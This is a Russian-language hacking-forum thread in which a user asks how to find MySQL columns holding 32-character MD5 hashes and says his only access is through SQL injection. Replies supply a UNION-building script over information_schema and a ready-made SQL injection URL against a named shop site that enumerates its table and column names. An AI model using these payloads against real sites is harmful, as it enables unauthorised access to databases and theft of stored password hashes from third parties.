help! mysql запрос

Discussion in 'Песочница' started by LeninDie, 26 Dec 2015.

  1. LeninDie

    LeninDie Member

    Joined:
    26 Dec 2015
    Messages:
    72
    Likes Received:
    8
    Reputations:
    2
    Всем привет. подскажите можно ли составить следующий запрос к бд mysql: необходимо узнать имя колонки, длина содержимого которой равна определенному кол-ву символов. или название таблицы где эта колонка находится. как пример допустим мы знаем что нужное нам значение хранится в мд5 где 32 символа, но не знаем как колонка называется и столбец. возможно такой запрос составить?
     
  2. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    нет.
     
    _________________________
  3. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    В рамках одного SELECT запроса - официально нельзя. Неофициально - сейчас только если файлы читать и самим их парсить. В рамках нескольких запросов - можно.
    Code:
    SET @sql := '(SELECT null as `col_name`, null as `col_value` LIMIT 0) ';
    SELECT isnull(@sql := concat(@sql, concat(' UNION (SELECT "', @col_name:=concat(@tbl_name:=concat(t.TABLE_SCHEMA, '.', t.TABLE_NAME), '.', t.COLUMN_NAME),'", (SELECT ', @col_name, ' FROM ', @tbl_name, ' LIMIT 1))'))) as `sql_is_null`, count(*) FROM information_schema.columns t GROUP BY 1;
    SET @sql := concat('SELECT col_name, col_value FROM (', @sql, ') t WHERE length(col_value) = 32;');
    PREPARE stmt FROM @sql;
    EXECUTE stmt;
    
    Если нет доступа к БД - вместо PREPARE и EXECUTE можно самим заслать полученный запрос. Работать будет долго. Запрос смотрит только на первую запись (иначе много мусора и работает намного дольше). Если есть ограничения на длину - засылать придется по частям.
     
    LeninDie and grimnir like this.
  4. LeninDie

    LeninDie Member

    Joined:
    26 Dec 2015
    Messages:
    72
    Likes Received:
    8
    Reputations:
    2
    доступ к бд только посредством sql inj
    вот что получилось:
    [​IMG]
    "Если нет доступа к БД - вместо PREPARE и EXECUTE можно самим заслать полученный запрос." - можно поподробней?
     
    #4 LeninDie, 27 Dec 2015
    Last edited: 27 Dec 2015
  5. lkkk

    lkkk New Member

    Joined:
    18 May 2015
    Messages:
    4
    Likes Received:
    2
    Reputations:
    4
    мб column_type=varchar(32) поможет
    Code:
    http://www.reddshop.com/product_listing.php?catid=4+and+1=2+union+select+group_concat(table_name,0x3a,column_name)+from+information_schema.columns+where+column_type=0x7661726368617228333229--+